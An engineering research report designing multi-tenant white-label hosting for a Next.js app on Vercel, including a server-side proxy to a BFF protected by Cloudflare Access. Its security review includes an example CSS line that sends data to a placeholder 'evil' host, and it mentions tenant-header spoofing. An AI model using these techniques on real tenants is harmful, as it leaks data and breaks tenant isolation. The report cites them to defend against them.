R5 — Next.js 15 Frontend Hosting & White-Labeling Architecture
Historical (pre-rebrand, 2026-10): written when the product was called WaaSel and the hosts were
waasel.*/bouskoura.online. The product is now WAFINE: production hostswafine.zawia.tech,api.wafine.zawia.tech,docs.wafine.zawia.tech;bouskoura.onlineis the testing playground. Names and hosts below are kept as written.
Scope: app/web (Next.js 15 App Router) on Vercel, white-labeling for two brand domains
(waasel / waas) plus per-tenant custom domains, fronting a BFF that stays on the OCI VM
behind a Cloudflare Tunnel + Cloudflare Access.
Repo: openwa-oci-infra, branch mo/e2e-encryption-scaffold.
Date: 2026-10-08. Status: research report — verified against vendor docs where cited;
anything I could not confirm from a primary source is marked UNVERIFIED.
0. TL;DR — the seven decisions
| # | Question | Verdict |
|---|---|---|
| 1 | Per-tenant white-labeling pattern | Hostname rewrite in middleware.ts → [tenant] dynamic segment. One build, one deployment. |
| 2 | Custom domains on Vercel | Add per-domain via SDK/API; wildcard *.domain needs Vercel nameservers (or _acme-challenge NS delegation). Pro: unlimited domains, soft cap 100k/project. |
| 3 | Frontend → unexposed BFF | Server-side proxy through Next.js Route Handlers (app/api/bff/[...path]/route.ts). Browser never sees the BFF. |
| 4 | Cloudflare Access vs public Vercel | Access blocks the browser, not a server. Cloudflare Access Service Token on the Vercel server-side proxy is the normal fix. |
| 5 | Zero-leakage rule | ESLint no-restricted-imports/no-restricted-syntax + a build-time grep gate + CSP connect-src 'self'. Three layers. |
| 6 | Tailwind vs CSS variables | Both are implemented. The doc's "no Tailwind" line is stale. Right call: Tailwind for layout, CSS custom properties for theme tokens. |
| 7 | Staging AWS / prod OCI | Frontend is Vercel in both; only the BFF origin moves. Keep the proxy boundary identical across environments. |
1. Per-tenant white-labeling: which pattern?
1.1 The three candidates
(A) Dynamic [tenant] path segment — app/[tenant]/page.tsx, tenant in the URL path
(/waasel/dashboard). Simple, but the tenant is in the URL, which is wrong for
white-labeling: waasel.online/dashboard must not become waasel.online/waasel/dashboard.
Path-based tenancy is for multi-tenant SaaS consoles, not branded domains.
(B) Hostname rewrite in middleware — one deployment, middleware.ts reads
request.headers.get('host'), resolves tenant, and either rewrites internally to
/domains/[hostname] or forwards x-tenant-id on request headers. Vercel's own
multi-tenant template does exactly this: rewrite / → /domains/${hostname} and let the
page read the tenant from the route param
(Vercel multi-tenant template).
(C) Build per tenant — N Vercel projects, N builds, N env sets. Correct only when tenants need code isolation (different feature sets, different bundles, hard compliance separation). For brand color + logo + font it is pure waste: N× build minutes, N× deployments to keep in sync, and a fleet of projects to patch on every dependency CVE.
1.2 Comparison
| Dimension | (A) path [tenant] | (B) hostname rewrite | (C) build per tenant |
|---|---|---|---|
| Cost | 1 project | 1 project + middleware invocations | N projects, N× build minutes |
| Caching | Good — path is part of the cache key | Good — rewrite target is part of the cache key; Vary on host is implicit because the resolved route differs | Best (fully static per tenant) |
| Complexity | Low | Medium (host→tenant resolver + header hygiene) | High (fleet orchestration) |
| Custom domains | Awkward (slug leaks into URL) | Native — custom domain is just another host | Works but requires a project per domain |
| Branding correctness | Poor (URL shows slug) | Correct — waasel.online/ stays / | Correct |
| Per-tenant code divergence | No | No | Yes |
1.3 Verdict
Use (B), hostname rewrite, with a [tenant]-style dynamic segment as the internal
rewrite target. This is the pattern Vercel documents for both subdomain and custom-domain
resolution
(Vercel Proxy and Routing).
Critical detail for 2026: Next.js renamed the middleware file convention to proxy in
Next.js 16, and Vercel's docs now show proxy.ts. On Next.js 15 you must use
middleware.ts with an exported middleware function
(Vercel Proxy and Routing, note).
The scaffold pins "next": "^15.1.0" — so middleware.ts it is.
Second critical detail: middleware defaults to the Edge runtime on Next.js 15; the Node.js
runtime became stable in Next.js 15.5 via export const config = { runtime: 'nodejs' }
(Next.js 15.5 blog). The scaffold is on ^15.1.0, which
is below 15.5, so runtime: 'nodejs' is not available at the pinned range — see §1.5.
1.4 Concrete shape for this repo
// app/web/src/middleware.ts (Next.js 15 — NOT proxy.ts)
import { NextRequest, NextResponse } from 'next/server';
const RESERVED = new Set(['www', 'app', 'admin', 'api']);
const BRAND_DOMAINS: Record<string, string> = {
'waasel.online': 'waasel',
'waas.online': 'waas',
'bouskoura.online': 'bouskoura', // Cloudflare + Vercel
'wa.ai4x.academy': 'ai4x', // Supabase + Cloudflare
};
export const config = {
matcher: ['/((?!api|_next/static|_next/image|favicon.ico).*)'],
};
export async function middleware(request: NextRequest) {
const host = (request.headers.get('host') ?? '').split(':')[0];
// 1. Strip any inbound tenant headers — only middleware may set them.
const headers = new Headers(request.headers);
headers.delete('x-tenant-id');
headers.delete('x-tenant-slug');
// 2. Resolve: exact brand domain → slug; else custom-domain lookup; else subdomain.
let slug = BRAND_DOMAINS[host];
if (!slug) slug = await resolveCustomDomain(host); // KV / Supabase lookup, cached
if (!slug) {
const sub = host.split('.')[0];
slug = RESERVED.has(sub) ? undefined : sub;
}
if (!slug) return NextResponse.next({ request: { headers } });
headers.set('x-tenant-id', slug);
headers.set('x-tenant-slug', slug);
// 3. Rewrite root to the dynamic segment; keep the public URL clean.
const url = request.nextUrl.clone();
if (url.pathname === '/') url.pathname = `/t/${slug}`;
return NextResponse.rewrite(url, { request: { headers } });
}The headers.delete(...) step is not cosmetic — Vercel's docs call it out explicitly
("Strip inbound tenant headers; only the proxy sets them"). Without it, a client can send
x-tenant-id: victim and the app will trust it. This is the single most common multi-tenant
authz bug.
1.5 Runtime caveat (specific to this scaffold)
package.json pins next@^15.1.0. Node.js middleware is stable only from 15.5
(Next.js 15.5). Two consequences:
- If
resolveCustomDomainneeds a DB client or Node APIs, you must bump tonext@>=15.5and setexport const config = { runtime: 'nodejs' }. - On Edge (15.1–15.4), the resolver must be fetch-only. Practically: cache the host→tenant
map in Vercel Edge Config or KV and read it with
fetch, not a Postgres client. Vercel's own example uses@vercel/global-config(get('domain_<host>')) for exactly this reason.
Recommendation: bump to next@^15.5 and run middleware on Node.js. The BFF is on a
tailnet/tunnel; an Edge middleware that cannot reach internal services is a dead end.
2. Custom domains on Vercel — real limits
All figures below are from Vercel's own pages, last-updated 2026-09-08 / 2026-09-16.
2.1 Limits
| Feature | Hobby | Pro | Enterprise |
|---|---|---|---|
| Custom domains per project | 50 | Unlimited* | Unlimited* |
Wildcard domains (*.acme.com) | Supported | Supported | Supported |
| Custom SSL certificates (upload) | ✗ | ✗ | Enterprise only |
| Multi-tenant preview URLs | ✗ | ✗ | Enterprise only |
* Soft abuse limits: 100,000 domains per project on Pro, 1,000,000 on Enterprise; "flexible and can be increased upon request" (Multi-tenant Limits).
This is the number that decides your plan. Two brand domains plus a handful of tenants fits Hobby's 50. A white-label product with per-tenant domains does not — you need Pro. At 50 domains Hobby is a hard wall.
2.2 SSL provisioning
- Wildcard domains require Vercel's nameservers (
ns1.vercel-dns.com,ns2.vercel-dns.com) so Vercel can complete the DNS-01 challenge. "Vercel issues one wildcard certificate for*.acme.comthat covers every tenant subdomain at that level… A wildcard certificate covers only one subdomain level" (Configuring Custom Domains). - If you cannot move nameservers (Cloudflare is authoritative for
bouskoura.onlineandwa.ai4x.academy), delegate the challenge: addNSrecords for_acme-challenge→ns1.vercel-dns.com./ns2.vercel-dns.com., then add a wildcardCNAME*→cname.vercel-dns-0.com.(Add a Domain — external DNS). Deleting those NS records breaks wildcard cert renewal — documented as a troubleshooting trap (Troubleshooting domains). - Each custom domain gets its own certificate, separate from the wildcard cert. Issuance is automatic once the domain is verified; an unverified domain gets no certificate (Domain management for multi-tenant).
2.3 Per-domain cost
Domains themselves are free to attach — there is no per-domain line item. Cost is indirect: Fast Data Transfer and Edge Requests. Pro includes 1 TB Fast Data Transfer and 10M Edge Requests/month, then $0.15/GB and ~$2/1M respectively, drawn against a $20/month credit; Pro platform fee is $20/month including 1 deploying seat, extra seats $20/month each (Vercel Pro Plan, Pricing).
2.4 API rate limits (matters for self-serve domain provisioning)
Domain addition 100 req/hour/team, verification 50 req/hour/team, removal
100 req/hour/team (Multi-tenant Limits).
If tenants add their own domains through your UI, this is your throttle ceiling — queue the
projectsAddProjectDomain calls.
2.5 Cloudflare in front of Vercel
Both bouskoura.online and wa.ai4x.academy sit behind Cloudflare. A proxied CNAME
<name> → cname.vercel-dns.com works, but note: with Cloudflare proxying, Vercel sees
Cloudflare's IPs, and Cloudflare's own SSL mode must be Full (strict) or you get a
redirect loop. UNVERIFIED — I did not confirm a Vercel doc stating this; it is standard
Cloudflare behaviour but confirm against the Cloudflare dashboard for these two zones before
committing.
3. Frontend → BFF that is NOT publicly exposed
The BFF lives on the OCI VM behind a Cloudflare Tunnel. The browser must never learn its address. Enumerating the real options:
3.1 Option matrix
| Option | BFF exposed? | Works for public users? | Notes |
|---|---|---|---|
| (a) Server-side proxy via Next.js Route Handlers | No | Yes | Browser calls /api/bff/* on the Vercel origin; the route handler calls the BFF server-to-server. |
| (b) Direct browser → BFF with CORS | Yes | Yes | Requires a public BFF origin. Violates the constraint outright. |
| (c) Signed short-lived tokens, browser → BFF | Yes | Yes | Token authorizes, does not hide. Still a public endpoint. |
(d) Vercel rewrites() to external origin | Partially | Yes | The rewrite target is in vercel.json — and Vercel's docs show rewrites to external origins are supported and cacheable. But the origin is a build artifact, and error/redirect behaviour leaks it. |
| (e) Next.js Server Actions | No | Yes | Same trust boundary as (a) but a worse fit for a typed RPC surface. |
3.2 Verdict: (a), server-side proxy through Route Handlers
// app/web/src/app/api/bff/[...path]/route.ts
import { NextRequest, NextResponse } from 'next/server';
const BFF_URL = process.env.BFF_URL!; // server-only, no NEXT_PUBLIC_ prefix
const CF_ACCESS_CLIENT_ID = process.env.CF_ACCESS_CLIENT_ID!;
const CF_ACCESS_CLIENT_SECRET = process.env.CF_ACCESS_CLIENT_SECRET!;
export const runtime = 'nodejs';
async function proxy(req: NextRequest, ctx: { params: Promise<{ path: string[] }> }) {
const { path } = await ctx.params;
const upstream = new URL(path.join('/'), BFF_URL);
upstream.search = req.nextUrl.search;
const res = await fetch(upstream, {
method: req.method,
headers: {
'content-type': req.headers.get('content-type') ?? 'application/json',
'authorization': req.headers.get('authorization') ?? '', // tenant session JWT
'CF-Access-Client-Id': CF_ACCESS_CLIENT_ID,
'CF-Access-Client-Secret': CF_ACCESS_CLIENT_SECRET,
},
body: ['GET', 'HEAD'].includes(req.method) ? undefined : await req.text(),
// @ts-expect-error — Next.js fetch extension
duplex: 'half',
});
return new NextResponse(res.body, {
status: res.status,
headers: { 'content-type': res.headers.get('content-type') ?? 'application/json' },
});
}
export const GET = proxy;
export const POST = proxy;
export const PUT = proxy;
export const PATCH = proxy;
export const DELETE = proxy;Why this is the right answer:
- The BFF origin never reaches the browser.
BFF_URLhas noNEXT_PUBLIC_prefix, so Next.js will not inline it into the client bundle. This is the mechanism that makes the zero-leakage rule enforceable (§5). - Same-origin for the browser. No CORS preflight, no
Access-Control-Allow-Originwildcard, noOPTIONShandler. Cookies stay first-party, which matters for the session JWT and forSameSite=Lax. - The Cloudflare Access Service Token lives server-side only (§4).
- CSP can stay
connect-src 'self'— the browser only ever talks to the Vercel origin.
Cost: every BFF call becomes a Vercel Function invocation. With fluid compute (default for new projects) Vercel bills active CPU time — time waiting on I/O (the upstream BFF) does not count as CPU, only provisioned memory time accrues (Function duration). A proxy that is mostly waiting is therefore cheap. Default max duration 300s on all plans; Pro max 800s, extended 1800s beta on Node.js/Python with fluid compute (Vercel Functions Limits).
3.3 What NOT to do
- Do not put the BFF URL in a
NEXT_PUBLIC_*var. Next.js inlines those into the client bundle at build time; it is a permanent leak in a hashed JS chunk. - Do not rely on option (c) alone. A signed token does not un-expose an endpoint; it only gates it. If the BFF is reachable from the internet, it is attack surface.
- Do not use option (b). CORS is not an access control — it is a browser policy that
curlignores.
3.4 Streaming and long-lived connections
The BFF pushes encrypted payloads over WebSocket (design doc §6.2). A Next.js Route Handler cannot proxy a WebSocket upgrade on Vercel — serverless functions are request/response. Options: (i) SSE from the route handler (works, but one-way and reconnects are manual), or (ii) the client opens the WebSocket to the Vercel origin via a separate mechanism. UNVERIFIED — I did not find a current Vercel doc confirming WebSocket proxying through Route Handlers; treat "not supported" as the safe assumption and design the push channel as SSE or a polling fallback for Phase 4.
4. Cloudflare Access on the ingress vs Vercel on the frontend
4.1 What breaks
Cloudflare Access protects an origin by intercepting the browser at the Cloudflare edge
and requiring an interactive login (SSO, OTP). It then injects a signed
Cf-Access-Jwt-Assertion header on requests it forwards
(Validate JWTs).
A public Vercel app calling that origin server-to-server has no browser session. There is
no user to redirect to a login page, no CF_Authorization cookie, and no way to satisfy an
interactive Access policy. The result is a 302 to the Cloudflare Access login, or a 403 —
and because it is a server-side fetch, the user just sees a broken app with an opaque
error. This is the classic failure: Access is designed for humans; a server is not a human.
4.2 How it is normally solved: Cloudflare Access Service Tokens
Create a Service Token under Zero Trust → Access → Service Auth. It yields a Client ID and a Client Secret. Add a Service Auth policy to the Access application that includes that token, then send the pair as headers:
CF-Access-Client-Id: <CLIENT_ID>
CF-Access-Client-Secret: <CLIENT_SECRET>Cloudflare exchanges them for a JWT and admits the request
(Service tokens).
This is exactly the pattern the Vercel-side proxy in §3.2 uses. The secret is a Vercel
server-side env var, never NEXT_PUBLIC_.
4.3 The layered design for this repo
Browser ──HTTPS──► Vercel (public, Next.js)
│ Route Handler /api/bff/*
│ + CF-Access-Client-Id / -Secret
▼
Cloudflare edge (Access app on the BFF hostname)
│ Service Auth policy admits the token
▼
Cloudflare Tunnel ──► OCI VM : BFFKey properties:
- The browser is never challenged by Access. Only the Vercel server is, and it presents a token. Public users are served normally.
- The BFF hostname is still not public. Access sits in front of it; without the token you get a login wall, not the app.
- Defence in depth: keep the tenant session JWT (design doc §4.3) as a second, independent check. Access authenticates the Vercel app; the JWT authenticates the tenant. Neither replaces the other.
4.4 Alternative: bypass policy on a custom header
Some teams use an Access Bypass policy keyed on a secret header (e.g.
X-Internal-Bypass) instead of a Service Token. It works, but a bypass rule is a weaker
primitive — it is a static shared secret with no rotation story and no audit identity.
Prefer Service Tokens. (Both patterns are documented in the wild; the Service Token is
the one Cloudflare documents as the recommended route.)
4.5 Do not forget: Vercel's own Deployment Protection
Vercel preview deployments are protected by Vercel Authentication by default on Pro. If you also put Cloudflare Access in front of a Vercel-hosted app (not the case here, but relevant if you ever front the frontend with Access), you get two login walls. The known fix is to keep Vercel Authentication on for previews and let Cloudflare Access handle production — the two are scoped differently.
5. The zero-leakage rule — enforceable version
Rule: no gateway URL may appear outside the BFF client.
A rule that lives only in a doc is not a rule. Make it three mechanical gates.
5.1 Layer 1 — ESLint: forbid the raw URL in app code
// app/web/eslint.config.mjs (flat config, eslint 9 — matches the scaffold's ^9.17.0)
export default [
{
rules: {
'no-restricted-syntax': [
'error',
{
selector: "Literal[value=/2785|OPENWA_BASE_URL|openwa.*gateway/i]",
message: 'Zero-leakage: the OpenWA gateway URL must not appear in app/web. Go through the BFF proxy.',
},
{
selector: "MemberExpression[object.name='process'][property.name='env'][property.name='OPENWA_BASE_URL']",
message: 'Zero-leakage: OPENWA_BASE_URL is BFF-only. Use the /api/bff proxy.',
},
],
'no-restricted-imports': [
'error',
{ patterns: ['**/bff/src/config/env*', '@waasel/bff/src/config/*'] },
],
},
},
];The no-restricted-imports entry is the sharp one: the scaffold's
app/web/src/lib/api-client.ts already imports a type from
@waasel/bff/src/adapters/http/routers/index.js. Type-only imports are erased at build
time and are safe — but the rule must be scoped so that import type is allowed while a
value import of BFF internals (which would pull in env.ts and therefore the gateway URL)
is not. Use @typescript-eslint/consistent-type-imports with fixStyle: 'inline-type-imports'
alongside, and restrict value imports of **/bff/src/config/**.
5.2 Layer 2 — build-time grep gate
#!/usr/bin/env bash
# app/web/scripts/check-zero-leakage.sh — run in CI after `next build`
set -euo pipefail
BUNDLE=".next"
PATTERNS='2785|OPENWA_BASE_URL|openwa[._-]?(gateway|base)|X-API-Key'
# Only inspect what actually ships to the browser.
if grep -rInE "$PATTERNS" "$BUNDLE/static" 2>/dev/null; then
echo "FAIL: gateway reference found in client bundle" >&2
exit 1
fi
# Server bundles must not contain the *client-visible* env either.
if grep -rInE 'NEXT_PUBLIC_[A-Z_]*BFF|NEXT_PUBLIC_[A-Z_]*OPENWA' "$BUNDLE" 2>/dev/null; then
echo "FAIL: BFF/gateway env leaked via NEXT_PUBLIC_" >&2
exit 1
fi
echo "OK: zero-leakage check passed"Wire it into package.json so it cannot be skipped:
"scripts": {
"build": "next build && ./scripts/check-zero-leakage.sh"
}Why post-build and not pre-commit: the leak vector is bundling, not source text. A
NEXT_PUBLIC_BFF_URL in .env is invisible to a source grep and fully visible in
.next/static/chunks/*.js. Only the built artifact tells the truth.
5.3 Layer 3 — CSP connect-src 'self'
The scaffold's next.config.ts currently ships:
connect-src 'self' https:;https: is a hole — it permits fetch() to any HTTPS origin, including the gateway if its
URL ever leaks. Tighten it:
default-src 'self';
script-src 'self' 'unsafe-eval'; # 'unsafe-eval' is required by libsodium-wrappers WASM
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:; # tenant logos are remote
connect-src 'self'; # ← the enforcement
frame-ancestors 'none';
base-uri 'self';
object-src 'none';With connect-src 'self', even a leaked gateway URL cannot be fetched from the browser. The
proxy in §3.2 is same-origin, so nothing legitimate breaks. Note 'unsafe-eval' is needed
for the libsodium WASM instantiation — keep it but scope it to script-src only.
5.4 Bonus: the BFF side of the rule
The rule is symmetric. On the BFF, OPENWA_BASE_URL should be the only place the gateway
address exists, and it should be validated at boot. The scaffold's app/bff/src/config/env.ts
already defaults openwaBaseUrl to http://localhost:2785 — correct. Add a production guard
that the value is not a public hostname, and a test that greps the built BFF for the raw
gateway host outside env.ts.
6. Resolving the Tailwind contradiction
6.1 What the doc says vs what exists
Design doc §5.1 (line 229): "Styling: CSS variables for white-labeling (no Tailwind — keep it minimal)."
The scaffold, on disk, right now:
| File | Content | Implication |
|---|---|---|
app/web/tailwind.config.ts | 29 lines, content globs over src/app, src/components; theme.extend.colors maps primary, surface, border, text to var(--color-*) | Tailwind is configured |
app/web/postcss.config.mjs | plugins: { tailwindcss: {}, autoprefixer: {} } | Tailwind is wired into the build |
app/web/src/styles/globals.css | @tailwind base; @tailwind components; @tailwind utilities; | Tailwind directives are active |
app/web/src/lib/white-label.ts | applyTheme() sets --primary-color / --font-family on document.documentElement | CSS variables are also active |
Verdict: Tailwind IS implemented. The doc line is stale drift. Moreover the two are
already fused — tailwind.config.ts defines its colour tokens as
var(--color-primary, #1a73e8) etc., so Tailwind classes resolve to CSS custom properties.
That is not a contradiction in the code; it is a contradiction between the code and the prose.
6.2 A second, real bug in the current wiring
There are two mismatched variable namespaces:
tailwind.config.tsreads--color-primary,--color-surface,--color-border,--color-text,--color-text-muted.white-label.tswrites--primary-colorand--font-family.globals.cssdefines--primary-colorand--font-family, plus a[data-theme]block that reads--theme-primary-color.
So applyTheme() writes --primary-color but Tailwind's text-primary reads
--color-primary. The theme would not apply. This is a live defect, not a style
preference.
6.3 The right call
Keep both, with a strict division of labour:
- Tailwind = structure. Layout, spacing, responsive breakpoints, component composition. These do not vary per tenant.
- CSS custom properties = theme tokens. Colours, fonts, radii, logo. These vary per tenant and must change without a rebuild.
The reason is not aesthetic. A per-tenant theme expressed as Tailwind classes would have to
be compiled per tenant — reintroducing option (C) from §1. A theme expressed as CSS custom
properties is a single runtime setProperty() call, which is exactly what
white-label.ts already does. Tailwind's var() indirection is what lets one build serve
every tenant.
6.4 Concrete fix
Unify on one namespace. Rename the Tailwind keys to match what applyTheme writes, or
vice versa. Pick --wl-* to make the white-label surface obvious:
// tailwind.config.ts
theme: {
extend: {
colors: {
primary: 'var(--wl-primary, #1a73e8)',
'primary-hover': 'var(--wl-primary-hover, #1557b0)',
surface: 'var(--wl-surface, #ffffff)',
'surface-alt':'var(--wl-surface-alt, #f8f9fa)',
border: 'var(--wl-border, #e2e8f0)',
text: 'var(--wl-text, #1a202c)',
'text-muted': 'var(--wl-text-muted, #64748b)',
},
fontFamily: { sans: ['var(--wl-font, Inter)', 'system-ui', 'sans-serif'] },
},
},// white-label.ts — write the SAME namespace
export function applyTheme(theme: WhiteLabelTheme): void {
if (typeof document === 'undefined') return;
const s = document.documentElement.style;
s.setProperty('--wl-primary', theme.primaryColor);
s.setProperty('--wl-font', theme.fontFamily);
}And set the theme server-side in the tenant layout so there is no flash of default
branding. In App Router, inject it as a style attribute on <html> from the RSC:
// app/web/src/app/t/[tenant]/layout.tsx
export default async function TenantLayout({ params, children }) {
const { tenant } = await params;
const theme = await getTenantTheme(tenant); // server-side, cached
return (
<html lang="en" style={{
'--wl-primary': theme.primaryColor,
'--wl-font': theme.fontFamily,
} as React.CSSProperties}>
<body>{children}</body>
</html>
);
}Note: applyTheme() as written is a client-only function (typeof document === 'undefined'
guard) — it cannot run in an RSC. The server-side injection above is the correct pattern;
keep applyTheme only for runtime theme switching (a tenant previewing a theme in settings).
6.5 The custom_css field is a security problem
tenant_themes.custom_css (design doc §7) is injected via document.createElement('style')
with textContent. That is not an XSS sink by itself (textContent does not parse HTML),
but arbitrary tenant CSS can exfiltrate via background: url(https://evil/?data=...) and can
overlay UI to phish. With style-src 'self' 'unsafe-inline' in the CSP, it is permitted.
Recommendation: drop custom_css for Phase 4, or restrict it to a validated token set
(colours, font-family, radius). Mark this as a decision, not an oversight.
7. Deployment topology — staging AWS, production OCI
The design doc (§8) puts the BFF on AWS ECS Fargate for staging and OCI for production, with the frontend on Vercel in both. That is fine, and it does not change any of the above, with one rule:
Keep the proxy boundary byte-identical across environments. The Vercel app must not know
whether BFF_URL points at Fargate or the OCI tunnel. Concretely:
| Env | Vercel project | BFF_URL | Access |
|---|---|---|---|
| Staging | same project, preview branch | https://bff-staging.<zone> | CF Access Service Token |
| Production | same project, main | https://bff.<zone> | CF Access Service Token |
Use Vercel environment variables scoped per environment (Production / Preview / Development) rather than branching in code. The zero-leakage grep (§5.2) then runs against every preview deployment automatically.
One staging-specific note: if the staging BFF is on AWS without a Cloudflare Tunnel, the Service Token headers are simply ignored by whatever fronts it — harmless, but it means staging does not exercise the Access path. Recommendation: put Cloudflare Access in front of staging too, so the token path is tested before production. Otherwise the first time the Service Token is exercised is in production.
8. Open questions / UNVERIFIED
- Cloudflare SSL mode for Vercel-behind-Cloudflare. Must be Full (strict) to avoid redirect loops. Not confirmed against a Vercel doc — verify per zone. UNVERIFIED.
- WebSocket proxying through Vercel Route Handlers. Assumed unsupported; not confirmed for 2026. Design the push channel as SSE or polling. UNVERIFIED.
@vercel/global-configavailability. Vercel's multi-tenant docs use it for host→tenant lookups, but I did not confirm its plan requirements or current GA status. UNVERIFIED.- Vercel wildcard cert with Cloudflare-proxied DNS. The
_acme-challengeNS delegation is documented; whether it works cleanly when the zone is Cloudflare-proxied (orange cloud) is not confirmed. UNVERIFIED. next@^15.1.0vs Node.js middleware. The scaffold's pin predates the 15.5 stability milestone. Bump before relying onruntime: 'nodejs'.
9. References
- Vercel — Multi-tenant Limits: https://vercel.com/docs/platforms/multi-tenant-platforms/limits
- Vercel — Configuring Custom Domains: https://vercel.com/docs/platforms/multi-tenant-platforms/configuring-domains
- Vercel — Proxy and Routing: https://vercel.com/docs/platforms/multi-tenant-platforms/middleware-and-routing
- Vercel — Multi-Tenant Template: https://vercel.com/docs/platforms/examples/multi-tenant-template
- Vercel — Domain management for multi-tenant: https://vercel.com/docs/multi-tenant/domain-management
- Vercel — Add a Domain (external DNS /
_acme-challenge): https://vercel.com/docs/domains/working-with-domains/add-a-domain - Vercel — Troubleshooting domains: https://vercel.com/docs/domains/troubleshooting
- Vercel — Vercel Functions Limits: https://vercel.com/docs/functions/limitations
- Vercel — Configuring Maximum Duration: https://vercel.com/docs/functions/configuring-functions/duration
- Vercel — Pro Plan: https://vercel.com/docs/accounts/plans/pro
- Vercel — Pricing: https://vercel.com/pricing
- Vercel — Rewrites: https://vercel.com/docs/routing/rewrites
- Next.js 15.5 release (stable Node.js middleware): https://nextjs.org/blog/next-15-5
- Next.js — Multi-tenant guide: https://nextjs.org/docs/app/guides/multi-tenant
- Cloudflare — Service tokens: https://developers.cloudflare.com/cloudflare-one/access-controls/service-credentials/service-tokens/
- Cloudflare — Validate JWTs (
Cf-Access-Jwt-Assertion): https://developers.cloudflare.com/cloudflare-one/access-controls/applications/http-apps/authorization-cookie/validating-json/
10. Action items for the scaffold
| # | Action | File |
|---|---|---|
| 1 | Add middleware.ts with hostname resolution + header stripping | app/web/src/middleware.ts |
| 2 | Bump next to ^15.5 and set runtime: 'nodejs' in middleware | app/web/package.json |
| 3 | Add the BFF proxy Route Handler | app/web/src/app/api/bff/[...path]/route.ts |
| 4 | Unify the theme CSS-variable namespace (--wl-*) | tailwind.config.ts, white-label.ts, globals.css |
| 5 | Inject theme server-side in the tenant layout | app/web/src/app/t/[tenant]/layout.tsx |
| 6 | Tighten CSP connect-src to 'self' | app/web/next.config.ts |
| 7 | Add ESLint zero-leakage rules | app/web/eslint.config.mjs |
| 8 | Add the post-build grep gate and wire it into build | app/web/scripts/check-zero-leakage.sh |
| 9 | Fix design doc §5.1 line 229 (remove "no Tailwind") | docs/04-e2e-encryption.md |
| 10 | Decide on custom_css (drop or token-validate) | design doc §7 / §10 |